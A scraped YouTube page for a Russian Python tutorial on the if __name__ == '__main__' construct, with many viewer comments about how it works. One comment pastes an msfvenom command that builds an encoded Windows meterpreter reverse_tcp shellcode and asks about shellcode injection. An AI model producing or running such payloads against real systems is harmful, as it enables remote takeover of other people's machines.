Вы должны использовать это в Python | if __name__ == '__main__' (Все фишки и ошибки конструкции)

  Рет қаралды 97,843

ZProger [ IT ]

ZProger [ IT ]

Жыл бұрын

⭐ Курс ООП и Приват канал: www.zproger-school.com/?...
⭐ Телеграм канал: t.me/+EeRrfX3jT7QxYzYx
Как пользоваться if _name_ == "__main__", как это работает, зачем нужно использовать в ваших Python проектах? Все эти вопросы мы рассмотрим в данном видео и также сделаем упор на фишки этой конструкции и основные ошибки, которые допускают новички.
Многие изначально не понимают для чего именно её применять, так вот в рамках этого видео мы разберем это на самых подробных примерах, вы сможете полностью понять смысл этой конструкции.
📁 Github: github.com/Zproger
📁 Все плейлисты с уроками: bit.ly/39GaY89
📁 Связаться со мной: zproger777@gmail.com
📁 Поддержать криптовалютой: github.com/Zproger/donate

Пікірлер: 232
@robertobokarev439
@robertobokarev439 Жыл бұрын
В двух словах: __name__ это переменная, выводящая имя объекта. Если не используется как атрибут какого-то объекта (class.__name__), а просто в файле (__name__), то выводит имя файла. Если вы импортируете typing, например typing то __name__ этого модуля будет равен "typing". Но если вы запустите в терминале сам этот файл, то его __name__ будет равна "__main__". Другим языком, всё, что под конструкцией if __name__=="__main__" выполнится только если вы запустите это файл.
@sergeyalekseev2816
@sergeyalekseev2816 Жыл бұрын
Спасибо!!!!
@LeoPlus
@LeoPlus Жыл бұрын
От души!
@LeoPlus
@LeoPlus Жыл бұрын
Ещё бы подсказал как это использовать в телеграмм боте)
@lbbMHz
@lbbMHz Жыл бұрын
@@LeoPlus а зачем это использовать в телеграм боте?
@kirillchebodaev2244
@kirillchebodaev2244 Жыл бұрын
Спасибо
@danielkhatib9472
@danielkhatib9472 Жыл бұрын
Спасибо что помог ускорить понимание данной темы ,по книге читал читал не мог понять, видимо мало примеров
@user-gz4fx4sv6d
@user-gz4fx4sv6d Жыл бұрын
Спасибо большое. Стал на шаг ближе к пониманию темы.
@zproger
@zproger Жыл бұрын
=)
@wcst6324
@wcst6324 Жыл бұрын
Ну обьяснение для новичка такое себе.... Ты со своей колокольни мб и понимаешь что говоришь, а для новичка всё равно ничего не обьяснил. Что, зачем и почему. Ну и чтобы не только критиковать, скажу как я это понял из другого видоса: Допустим у нас есть два модуля (2 файла .py) Нам для своих целей нужно запустить первый файл из второго, но не сразу, а после определенных действий во втором файле. Для этого естественно нам нужно импортировать первый файл во второй. Тут и раскрывается особенность конструкции name=main Если данную конструкцию не вписать в импортируемый файл(первый). То при импорте ПЕРВЫМ делом мы запустим функцию из первого файла, а только потом уже перейдем к коду из второго файла. Легче конечно на примере обьяснить, но мб кому-то это поможет
@yourcar2389
@yourcar2389 Жыл бұрын
Из твоего объяснения понял больше, чем из видел
@zoreyan
@zoreyan Жыл бұрын
Нахрена по твоему новичку знать эту конструкцию, с чего вы взяли что это для новичков? видно же что описание звучит страшно
@user-vf4ql8oe3f
@user-vf4ql8oe3f Жыл бұрын
действительно, понятней, спасибо
@user-ue8td8lx5i
@user-ue8td8lx5i Жыл бұрын
а почему нельзя просто прописать import после определенных действий во втором файле, а не сразу? Ведь import как раз таки и исполняет весь код импортируемого файла
@RoKivals
@RoKivals Жыл бұрын
@@zoreyan потому что это основа работы с многофайловыми программами, как только ты начнёшь писать хотя бы больше 50 строк, это пригодится. Объяснение в видео реально очень плохое. Запутанно намешано и так далее. Можно было намного проще и понятнее объяснить
@lonesome2702
@lonesome2702 Жыл бұрын
Хоть и не особо разбираюсь в программировании, но после переслушивания и пересматривания стало понятнее, почему это используют
@intermilan7011
@intermilan7011 7 ай бұрын
Благодарю за ваш труд❤
@vladyslavpsht6097
@vladyslavpsht6097 Жыл бұрын
Автору респект, я начал только учить C# ( ну вот прям совсем только, строки короче ))) и прям понял про что он, чувствую на будущее прям маст хэв к применению... Руки чешутся писать ;)
@zproger
@zproger Жыл бұрын
Значит надо продолжать =)
@sowt007
@sowt007 10 ай бұрын
Наконец то стало понятно!) Спасибо!
@fedorivanov8420
@fedorivanov8420 Жыл бұрын
Полного понимания не появилось) Я так размечаю точку входа и все. И в чужом коде ищу эту точку, чтобы понять откуда начинать.
@rokot
@rokot Жыл бұрын
Мне кажется, это только в команде (где твориться сущий беспорядок) даёт понять другим программистам, что программа не модуль.
@deroteron
@deroteron Жыл бұрын
Подмечу что этот комментарий был проигнорирован, и автор отвечает только тем кто понял, по типу "пожалуйста" "рад помочь" и т.д.
@zproger
@zproger Жыл бұрын
Можно и так делать. Понимание придет уже на практике и во время экспериментов. Я попытался объяснить максимально просто, но всё равно без проработки это нельзя понять сразу
@zproger
@zproger Жыл бұрын
Отвечаю всем, но не сразу, так как много приходит комментариев с разных видео =)
@gy4fi_k766
@gy4fi_k766 6 ай бұрын
Ты лучший, сидел 2 часа мучился с проблемой, когда импортировал свой код он автоматически начинал запускаться. В итоге все приводило к циклическому импорту)
@ViktorTolmachev
@ViktorTolmachev 10 ай бұрын
Спасибо за видео! А я не раз замечал, что эту конструкцию использую одновременно с ООП, что ещё более запутывает, так как подход там не такой, как пишут в учебниках.
@skydsher8942
@skydsher8942 5 ай бұрын
Очень крутой гайд! Спасибо огромное!
@elnurbda
@elnurbda Жыл бұрын
Большое спасибо за видеоролик!
@zproger
@zproger Жыл бұрын
=)
@SkveerBoy
@SkveerBoy Жыл бұрын
Полезное видео спасибо )
@zproger
@zproger Жыл бұрын
Рад что понравилось =)
@Mr.Alex_fps
@Mr.Alex_fps Жыл бұрын
Спасибо, хорошо объяснил! Вот тебе коммент для поддержки)
@zproger
@zproger Жыл бұрын
Благодарю!
@ruslantarasevich3727
@ruslantarasevich3727 11 ай бұрын
Привет! Спасибо за видеоролики. А есть у Питона библиотеки для dsp или fpga?
@flamingastheburning164
@flamingastheburning164 Жыл бұрын
Пишу на срр, не питонист, вскользь с ним сталкивался только, но для общего развития было весьма интересно, подача хорошая. А ко не понял сразу - поймут только опытом и практикой, это не редкость, что суть материаь доходит только через опыт и повторение)
@RuslanKorchagin
@RuslanKorchagin Жыл бұрын
if __name__ == "__main__": Использую, для тестов библиотеки. Т.е. если я пишу библиотеку, но хочу ее протестировать, я просто в ифмэйннейм прописываю тесты функций библиотеки и запускаю библиотеку как программу. Второе, это экранирование в случае многопоточности. При вызове дочернего процесса нельзя запускать повторно код основного процесса и для этого его и помещают в ифнейммэйн
@TheAgressor13
@TheAgressor13 Ай бұрын
Спасибо, наконец-то понял
@5vFreeNz
@5vFreeNz Жыл бұрын
Спасибо!
@zproger
@zproger Жыл бұрын
=)
@ItsGame228
@ItsGame228 Жыл бұрын
Как я понял, это нужно для того что бы понять модуль это или нет. Если это модуль, мы не запускаем основную функцию main() ( entry point ). Если запускаем это как основной файл, мы выполняем все что стоит после If name = main. Сделано для того что бы случайным образом не помешали выполнению кода, так как все переменные будут глобальные, то есть если в первом файле i = 5 то во втором i = 6, и тогда уже первая переменная будет равна второй, потому что присвоили новое значениe
@PersonalTradingDiary
@PersonalTradingDiary 10 ай бұрын
Немного не понял, если импортировать модуль с проверкой if __ name__ == '__main__'. То будет ли импортирована функция main() из модуля? Если да, то как это всё будет работать когда в основном скрипте так-же весь код будет обёрнут в функцию main() с вышеописанной проверкой, будут ли какие-то конфликты разных функций main()? Или просто функция из основного скрипта будет всегда перезаписывать импортируемые функции main() из возможных модулей?
@andrewkrivoshein123
@andrewkrivoshein123 Жыл бұрын
Спасибо
@twincc8901
@twincc8901 Жыл бұрын
Тоисть if name = main позволяет импортировать функции из кода в другой код я так понел? И даёт возможность смотреть где функция находиться в в main классе или в каком-то другом
@_Kruzo_
@_Kruzo_ 7 ай бұрын
Спасибо автору за труды, он хороший программист, но объяснять материал увы, не его конек😊
@Hekysei
@Hekysei 8 ай бұрын
Ку. Точно могу сказать, что ролик полезный, особенно для новичков вроде меня. Большое спасибо. Также хочу узнать, какую ось использует автор?
@zproger
@zproger 8 ай бұрын
Благодарю, тут Zorin OS, в новых видео Arch Linux
@Hekysei
@Hekysei 8 ай бұрын
@@zproger понял, спасибо. Можно узнать причину перехода с Zorin на Arch?
@niva622
@niva622 Жыл бұрын
Спасибо тебе добрый человек, вместе мы становимся лучше)
@goshaposhlyy
@goshaposhlyy Жыл бұрын
Спасибо большое тебе , лучшее объяснение
@zproger
@zproger Жыл бұрын
Благодарю!
@rokot
@rokot Жыл бұрын
Если честно, я так и не понял. Я услышал, что это правило хорошего тона. Позволяет другим программистам понять, что это не модуль. Выявить ошибку, если на линуксе делаешь бесконечные циклы.
@zproger
@zproger Жыл бұрын
Это не перевод, не нужно говорить то, чего не знаете!
@MR-gz7pl
@MR-gz7pl Жыл бұрын
Ты самый топовый чувак )
@zproger
@zproger Жыл бұрын
Спасибо, это мотивирует 🙂
@freshmotion5401
@freshmotion5401 Жыл бұрын
Интересное видео... не нашла в инете.можно ли в принципе посмотреть код любого бота ..например в телеграмме?
@zproger
@zproger Жыл бұрын
Напрямую в телеграмм нельзя)
@artyombelash6928
@artyombelash6928 Жыл бұрын
классное видео, все понятно) скажи пожалуйста тему для пайчарма, которую используешь, очень понравилась)
@zproger
@zproger Жыл бұрын
либо Dracula либо Github Dark
@artyombelash6928
@artyombelash6928 Жыл бұрын
@@zproger спасибо)
@mlr__roal_6867
@mlr__roal_6867 7 ай бұрын
У меня проблема - хочу запускать процесс из библиотеки!!! А под виндовсом это не работает!
@master8920
@master8920 Жыл бұрын
спс ролик нужный, продолжай 🔥🔥🔥
@zproger
@zproger Жыл бұрын
Благодарю!
@fahrenheit1863
@fahrenheit1863 Жыл бұрын
А если при импорте переопределяться сама функция _main_ .
@Anshegar
@Anshegar 10 ай бұрын
Как ты с помощью этого цикл импорта исправишь? Циклы импорта исправляются по другому. Пока для данной концструкции вижу только 2 применения, это показать точку входа и задавать уникальные , так сказать резервные, точки входа для уникальных редких задач. (обычно когда проект большой и строится из разных малых подпроектов)
@ForseNight
@ForseNight 7 ай бұрын
Короче прикол в том что это как общая черта всех языков, почти везде есть буква а в алфавите, но там где её нет было бы хорошо хобы уметь её произносить. Наверное для взаймопонимания или хз, традиция проще говоря, это уже связано не с языком программирования, а с нами. Наверное надо C++ подучить чтоб понять лучше в чём дело.
@saga5367
@saga5367 Жыл бұрын
Можно узнать что за плагин с такой цветокоррекцией?
@zproger
@zproger Жыл бұрын
Github dark
@saga5367
@saga5367 Жыл бұрын
@@zproger благодарю
@user-rs8vv8ox5o
@user-rs8vv8ox5o Жыл бұрын
Что за ОС и оболочку используешь?
@zproger
@zproger Жыл бұрын
Zorin OS
@Himera1983
@Himera1983 Ай бұрын
после слов точка входа , значения и глобал я перстал что то понимать . поздравляю все ушли без понимания
@polukrovka3457
@polukrovka3457 2 ай бұрын
а как таую ошибку в пай чарме исправить
@karkozov
@karkozov Жыл бұрын
-никто не уйдёт не поняв, я подготовил много примеров *называет файл main чтоб объяснить, что такое **__main__* -сейчас тут все запутано, потому что файл называется main 😂
@user-eb2tx3ev1m
@user-eb2tx3ev1m 11 ай бұрын
А меня одного смутило, что в примере if _name_ ОДИН знак равно, а не два, однако PyCharm не выдал ошибку? Или это не влияет на работу программы?
@maroon6439
@maroon6439 5 ай бұрын
у него просто оформление такое, знаки сливаются(Как и с __name__, там дублируется нижнее подчёркивание)
@r_computer
@r_computer Жыл бұрын
Вопрос не по теме: а какой у Вас Линукс на видео? Выглядит красиво
@user-kh5vi4yi5t
@user-kh5vi4yi5t 7 ай бұрын
Всё мозги разбил на части, всё извилины заплел
@Karaku228
@Karaku228 Жыл бұрын
Накидайте мужику лайков за старания, чего вы жмотитесь, люди.
@zproger
@zproger Жыл бұрын
Спасибо 🥰
@walcermelodia
@walcermelodia Жыл бұрын
Как сделать нижнне подчеркивание ровным в pycbarm'е? У меня просто if __main__ ... выглядит, прямо как в названии видео :(
@user-we4ip7mb7w
@user-we4ip7mb7w Жыл бұрын
Ничего не понял, но попробуй поменять тему в настройках, она вместе с шрифтом меняется
@zproger
@zproger Жыл бұрын
Оно так по дефолту в плагине MaterialUI
@shimoda47
@shimoda47 Жыл бұрын
Я впервые столкнулся с if __name__=="__main__" когда начал работать с потоками. Потому что они без этой строчки не работают. Но теперь я не знаю как заставить их работать не в отдельном скрипте, а как раз как библиотека потому что выполняя из другого скрипта там уже name не main
@user-lv1le3oq6c
@user-lv1le3oq6c Жыл бұрын
Если как модуль, if __name__ != "__main__"
@MRjakAE
@MRjakAE Жыл бұрын
Хорош
@zproger
@zproger Жыл бұрын
Спасибо =)
@andreykuznetsov8096
@andreykuznetsov8096 Жыл бұрын
А почему меня должно волновать, что кто-то пытается запустить модуль? Ну пусть запускает, мне то что?
@zproger
@zproger Жыл бұрын
Если вы написали библиотеку а кто-то запускает её напрямую, то нужно как правило выполнить другой код, а тут надо понимать как именно софт был запущен.
@kozsv
@kozsv Жыл бұрын
Очень интересно ннп, смотрю уже у второго про это найм Майн, чуть лучше но один фиг смутно всё
@zproger
@zproger Жыл бұрын
Вроде всё достаточно просто
@roazanas
@roazanas Жыл бұрын
Ну во-первых, это просто декоративно, легче понять где начинается сама программа. Во-вторых, если ты будешь писать программу, например, для разных видов сортировок и оформишь её через функции, то сможешь в той же программе сделать тесты через if name main, где вызовешь все функции. Тогда при основном запуске программы, ты будешь тестировать сортировки, а при импорте из другой программы использовать функции, при этом не вызывая тест-кейсы
@evgenkeba1656
@evgenkeba1656 Жыл бұрын
Вот, вот, точно так же и у меня! Посмотрел много роликов, но так до конца и не понял!
@perf2.078
@perf2.078 Жыл бұрын
В общем, есть кусок кода. Если он основной файл, то выполняется всё (точнее то, что определено в функции main или какой-ещё явно указанной после разбираемой конструкции). Но этот же файл можно импортировать в другой файл через import, и тогда это будет уже библиотека, и из первого файла можно не всё брать, а только те функции, которые нужны для другого файла. Ну и переменные будут отличаться, как сказано в конце.
@bratka4636
@bratka4636 Жыл бұрын
@@roazanas читаю ..... вроде понятно, понимаю потом что ничего не понятно)))) за запуск как модуля я понял что код не будет выполнен так как нету условия(нейм) а за точку запуска ничего не понял.... но это пока что
@pavelgs7725
@pavelgs7725 Жыл бұрын
Подскажи пожалуйста, какая у тебя стоит тема в pycharm
@zproger
@zproger Жыл бұрын
Github dark
@pavelgs7725
@pavelgs7725 Жыл бұрын
@@zproger Спасибо
@dazdess
@dazdess Жыл бұрын
Вопрос, чем __main__ отличается от __init___? Я понимаю что __init__ это конструктор. Но чем она логически отличается?
@YuraSamusenko
@YuraSamusenko Жыл бұрын
__init__, как вы уже поняли, я смотрю, это конструктор класса, который автоматически исполняется при создании нового экземпляра класса, и в котором происходит инициализация переменных класса(вроде как правильнее их называть поля класса). __main__ это не имя переменной или чего-либо в программе, а имя самого файла скрипта, если запустить его. Как выше приводят примеры, если вывести значение __name__ в файле, из которого импортируется функция или объект, то __name__ будет равен имени файла. А если вывести значение непосредственно в файле, то будет значение "__main__"
@pinfold3201
@pinfold3201 Жыл бұрын
все не могу привыкнуть к f"", как же приучить то себя
@user-ik2zl5hx5o
@user-ik2zl5hx5o Жыл бұрын
Тема не для новичков. С третьего раза понял. Спасибо
@zproger
@zproger Жыл бұрын
Главное что поняли, это важно =)
@user-nh9gn2ql8x
@user-nh9gn2ql8x Жыл бұрын
Объяснение очень интересное, но я хочу уточнить небольшие детали. К примеру, я создаю файл "renders_text_color.py", записываю туда все функции по рендерингу текста в определенных сценах игры, а в конце кода добавляю: if __name__ == '__main__': pass А в другом файле я импортирую "from renders_text_color import *" прописываю сцены, и в каждой сцене я беру функцию и импортированного файла для отображения текста. А теперь вопрос: 1. Стоит ли мне установить какое-либо действие вместо "pass", если я собираюсь в том файле хранить только функции для использования в основном коде? 2. И что будет происходить в основном коде, если я буду указывать функцию из того файла в определенных сценах, но в том файле не пропишу эти две строчки? P.S. Я в программировании еще новичок, образование по программировании не имею, английским владею только на 30 из 100 баллов. Буду раз, если сможете мне объяснить так, чтоб даже дурак понял.
@iliyasone
@iliyasone Жыл бұрын
ничего не будет, вообще не нужно писать тогда эти 2 строчки.
@sergsangels
@sergsangels Жыл бұрын
Бубу бубубубубубу приходиться нажимать паузу или медленнее говорилку, следующее видео записуй на х4 для людей с высоким IQ , можно было сказать что делаем функцию main и пишем туда весь код как в любом языке и все, но небольшие скрипты можно и без main писать, это может делать python в отличие от других языков.
@user-iy3yo2wt1n
@user-iy3yo2wt1n Жыл бұрын
Четко 👍
@zproger
@zproger Жыл бұрын
Спасибо =)
@sariya271
@sariya271 Жыл бұрын
что за тема в чарме?
@zproger
@zproger Жыл бұрын
github dark
@alexandermartin5694
@alexandermartin5694 Жыл бұрын
Ничего бы не понял, если бы не знал. Для тех кто не знал и не понял: Если не изменяет память, так как выражение не использую в своих программах, а со временем просто забываются такие вещи, всё, что стоит под этим выражением, не может использоваться для импорта в других файлах.
@kirillmelnikov7846
@kirillmelnikov7846 Жыл бұрын
лайк++ а что по IDE ? Давно не видел свежих срачей по поводу, что сейчас модно и правильно? Сам nvim использую вообще. как LSP завезли так всё стало +/- одинаково...
@Slavasil
@Slavasil Жыл бұрын
ну неовим енто не идэ)
@greatgoltz
@greatgoltz Жыл бұрын
У вас ник с чем связан? А то видос смотрю, но терзают смутные сомнения
@zproger
@zproger Жыл бұрын
Точно не с политикой) нику 3 года
@Dav1dBlaine
@Dav1dBlaine Күн бұрын
как новичок нихуя не понял но было интересно.
@ryu8777
@ryu8777 Жыл бұрын
Ничего непонятно, но очень интересно
@zproger
@zproger Жыл бұрын
=)
@luispakvard5681
@luispakvard5681 Жыл бұрын
А вы делали инъекцию шел кода? потому что я сделал все как в книге "Gray Hat Python" а у меня совсем не работает у меня Python 3.8.9 . Я генерю шелкоды через msfvenom который в Kali Linux на флешке как то так msfvenom -p windows/x64/meterpreter/reverse_tcp EXITFUNC=thread lhost= lport=6982 -b '\x00\x0a\x0d' --encrypt base64 -f c там еще нужно заменить айпи адрес скриптом через replace а я не знаю как это сделать если шелкод закодирован
@zproger
@zproger Жыл бұрын
Это сильно зависит от архитектуры и прочих факторов. Читал эту книжку и пробовал делать примеры, правда там есть тонкости и надо ассемблер понимать хотя бы на базовом уровне.
@luispakvard5681
@luispakvard5681 Жыл бұрын
​@@zproger А если я устанавливаю pyenvом другую версию питона и pyenv local 2.5.1, а потом создаю новое виртуальное окружение python -m venv mynewenv то мне приходиться менять вручную настройки в pyvenv.cfg и activate.bat потому что оно не подхватывает настройки новоустановленного питона и взяло PYTHONPATH из системных переменных установленного питона на диске C так и должно быть?
@user-lp8ng3kp4c
@user-lp8ng3kp4c Жыл бұрын
Что за дистрибутив и рабочее окружение?
@zproger
@zproger Жыл бұрын
Zorin OS
@smgbdr4338
@smgbdr4338 Жыл бұрын
Спасибо, но грустно смотреть очередное видео, где автор говорит, что поймёт каждый, а ты без людей в комментариях реально не разберёшься
@MilcFord
@MilcFord 14 күн бұрын
Не пому понять до конца эту тему. И тут тоже не приблизился к полному понимаю.
@user-de8io3zp8m
@user-de8io3zp8m Жыл бұрын
Крутой и полезный видос, автору спасибо). if __name__ == "__main__": like_video()
@zproger
@zproger Жыл бұрын
Благодарю =)
@artembagachkov933
@artembagachkov933 Жыл бұрын
Одна строка, а столько смысла
@Zhuravskiy
@Zhuravskiy Жыл бұрын
никогда не используйте import *, везде и все об этом пишут, а тут все примеры с import *
@overkkk9007
@overkkk9007 Жыл бұрын
А почему?
@DarkRootChannel
@DarkRootChannel 11 ай бұрын
@@overkkk9007 Может возникнуть конфликт переменных из-за одинаковых названий
@justforfun-yc4xz
@justforfun-yc4xz Жыл бұрын
Куда же без функции для хака Пентагона 😁
@zproger
@zproger Жыл бұрын
Вот и я о том же :D
@OasisWordLessons
@OasisWordLessons Жыл бұрын
До просмотра мало что было понятно . После просмотра и то что знал забыл.
@Alex-ho8ke
@Alex-ho8ke Жыл бұрын
Получается ифнейммейн это в каком то смысле автоматическое наследование файла?
@zproger
@zproger Жыл бұрын
Не совсем. Но если Вы захотите, то можете использовать его и так. Тут главное понимать когда файл запускается как основной и когда импортируется в другую программу как модуль. А дальше уже выполняйте любой код, в зависимости от результата
@binancetraider658
@binancetraider658 Жыл бұрын
Круто
@zproger
@zproger Жыл бұрын
=)
@user-ux4vq4tp5k
@user-ux4vq4tp5k Жыл бұрын
Ни чего не понятно. Не прочитав ни одной книги полностью, задам вопрос. Есть 2 файла: program и functions. Первый это основной и главный файл, второй это набор функций. Импортируем func в prog и вызываем из него в нужном месте нужные функции так: functions.имяфункции(). Или я что то не так понял?
@rokot
@rokot Жыл бұрын
Насколько я понял, это как в фотошопе, ты можешь рисовать всё на одном слое, но потом тяжело что-то править, а можешь создавать отдельные слои под каждый элемент и потом легко всё править.
@zproger
@zproger Жыл бұрын
Если конструкция используется для повторного использования, то есть подразумевает что файл будут импортировать, то да. Можно поставить заглушку и потом повторно использовать уже написанный ранее код.
@user-cb1uo7oc3c
@user-cb1uo7oc3c Жыл бұрын
Очень интересно, но пока я все равно не понял ничего =))
@zproger
@zproger Жыл бұрын
Что именно не понятно?
@twiiiitweee7977
@twiiiitweee7977 Жыл бұрын
Сделай уроки по самоё крутой настройке PyCharm пожалуйста
@zproger
@zproger Жыл бұрын
На канале есть такое видео, но возможно скоро сделаю более полное и крутое
@ilyabogdanov1121
@ilyabogdanov1121 Жыл бұрын
Ребят, нужна небольшая помощь, мне надо на пайтоне написать автоустановщик приложения git, как это сделать, какую библиотеку нужно использовать. Недавно начал изучать пайтон, интересный язык, но ещё много чего не знаю о нём…
@Tosha.V
@Tosha.V Жыл бұрын
функция хака пентагона)))
@zproger
@zproger Жыл бұрын
😎😎
@PLAYCHANIN
@PLAYCHANIN Жыл бұрын
Ты сказал что никто не уйдёт отсюда ничего не поняв, но я нихрена не понял ((
@zproger
@zproger Жыл бұрын
Как так :0
@logic4519
@logic4519 Жыл бұрын
не в каждом языке так, в lua так же как в python
@zproger
@zproger Жыл бұрын
Да, в скриптовых языках такое в основном
@user-es7oe8rp8u
@user-es7oe8rp8u Жыл бұрын
Работал с потоками и без этой строчки получилась бесконечная неявная рекурсия
@zproger
@zproger Жыл бұрын
Это да
@pcbuild4282
@pcbuild4282 Жыл бұрын
Только запутал, на середине ролика вырубил ибо начал терять смысл.
@latinic8674
@latinic8674 Жыл бұрын
Пожалуйста, укажи источник в описании kzbin.info/www/bejne/nZDanY1vfs2VitU но про глобальные переменные в модуле немного новое узнал
@zproger
@zproger Жыл бұрын
Я не копировал это видео, у меня оно совершенно другое
@latinic8674
@latinic8674 Жыл бұрын
@@zproger по структуре похожие просто
@zproger
@zproger Жыл бұрын
Ну оно по структуре почти у всех похоже, потому что о конструкции особо ничего нового и не расскажешь
@develper7338
@develper7338 Жыл бұрын
Like
@zproger
@zproger Жыл бұрын
=)
@user-yo7qq4od2j
@user-yo7qq4od2j Жыл бұрын
Спасибо за видео, но ты что-то быстро так говоришь. 😢
@zproger
@zproger Жыл бұрын
Стараюсь контролировать скорость речи, но не получается. Говорю как можно медленней, потом смотрю запись а там все 200 бпм.
@user-yo7qq4od2j
@user-yo7qq4od2j Жыл бұрын
@@zproger все равно спасибо, ты - Гуру.
@priveet
@priveet Жыл бұрын
За hack_pentagon могут спросить...
@zproger
@zproger Жыл бұрын
Точно! Как я об этом не подумал...
@tupabantv8024
@tupabantv8024 Жыл бұрын
Понятно
@zproger
@zproger Жыл бұрын
Круто =)
@goodwin_for_you
@goodwin_for_you Жыл бұрын
Всё равно непонятно, не хватает подробного разбора примеров.
@zproger
@zproger Жыл бұрын
Так а какие примеры? В реальных проектах просто заглушка вставляется и всё
@meltoroun
@meltoroun Жыл бұрын
У Вас gnome? :)
@zproger
@zproger Жыл бұрын
Это стандартная оболочка от Zorin OS
@avirt7750
@avirt7750 10 ай бұрын
Я понял с момента 7:00
@zproger
@zproger 10 ай бұрын
Отлично
@lmaootakedh
@lmaootakedh Жыл бұрын
перезалив?
@zproger
@zproger Жыл бұрын
Не, старое видео было очень короткое и многие говорили что я не до конца раскрыл эту тему + многие не поняли зачем. Решил в этот раз сделать максимально понятно и затронуть каждую мелочь.
@mrwolf4062
@mrwolf4062 Жыл бұрын
Шо за буква z в начале ника ????
@zproger
@zproger Жыл бұрын
Зайдите в "о канале" и посмотрите сколько этому нику лет, не нужно сюда политику приписывать, канал о программировании
@mrkrepish8579
@mrkrepish8579 Жыл бұрын
Ничего не понял
@zproger
@zproger Жыл бұрын
:(
@luckytima2315
@luckytima2315 Жыл бұрын
Почему все ещё Зорин :p
@zproger
@zproger Жыл бұрын
Идеально подходит для видео
@23Kolobok
@23Kolobok Жыл бұрын
извините, но какие же это костыли... хотя материал полезный
@bomboklaa
@bomboklaa Жыл бұрын
Какая тысяча лайков? 10 тысяч
@zproger
@zproger Жыл бұрын
было бы круто =)
@anonsd5521
@anonsd5521 2 ай бұрын
Хороший тон для программиста: использовать эту конструкцию. Хороший тое для python программиста: Не использовать эту конструкцию, ведь главный файл в хорошо сконструированном проекте всегда один и такой человек никогда не импортирует майн файл
@evgenkeba1656
@evgenkeba1656 Жыл бұрын
Не понял...
@zproger
@zproger Жыл бұрын
Тут только практика поможет =)
@evgenkeba1656
@evgenkeba1656 Жыл бұрын
@@zproger при чем практика на реальном проекте!
What Happens If You Trap Smoke In a Ball?
00:58
A4
Рет қаралды 16 МЛН
Мама и дневник Зомби (часть 1)🧟 #shorts
00:47
They're a tough bunch!! # Superman can't fly # Superman couple # Spider-Man
00:47
OOP Python class inheritance | Python OOP in three lessons
30:32
Python Hub Studio
Рет қаралды 61 М.
ТОП 5 Ошибок в написании функций Python
12:46
10 признаков того, что вы новичок в Python
4:59
What Happens If You Trap Smoke In a Ball?
00:58
A4
Рет қаралды 16 МЛН